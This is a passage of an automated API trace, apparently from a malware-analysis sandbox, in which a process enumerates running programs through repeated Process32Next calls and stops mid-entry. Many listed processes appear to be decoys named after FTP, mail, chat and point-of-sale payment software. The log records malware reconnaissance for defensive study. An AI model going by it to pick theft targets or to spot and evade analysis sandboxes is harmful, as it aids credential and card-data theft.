[0232.891] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.892] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.904] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.906] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.977] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.979] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.980] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.981] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.983] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.984] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.986] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.988] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.989] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.990] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.992] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0232.993] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.994] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.996] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0232.997] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0232.999] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.000] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.001] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0233.003] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0233.004] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0233.006] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0233.007] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0233.008] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0233.010] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0233.053] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0233.054] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0233.056] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0233.057] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0233.059] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0233.060] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0233.062] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0233.063] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0233.065] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0233.066] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0233.068] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0233.069] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0233.070] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0233.072] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0233.073] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0233.075] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0233.076] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0233.078] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0233.080] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0233.088] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0233.090] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0233.092] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0233.093] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0233.095] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0233.158] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0233.160] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0233.162] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0233.164] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0233.166] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0233.167] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0233.169] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0233.171] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0233.172] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0233.174] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0233.176] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0233.178] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0233.180] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0233.181] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0233.183] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0233.185] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0233.187] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0233.189] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0233.239] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0233.242] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0233.243] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0233.245] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0233.247] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0233.249] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0233.251] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0233.252] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0233.288] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0233.290] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0233.292] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0233.293] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0233.295] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0233.296] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0233.298] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, 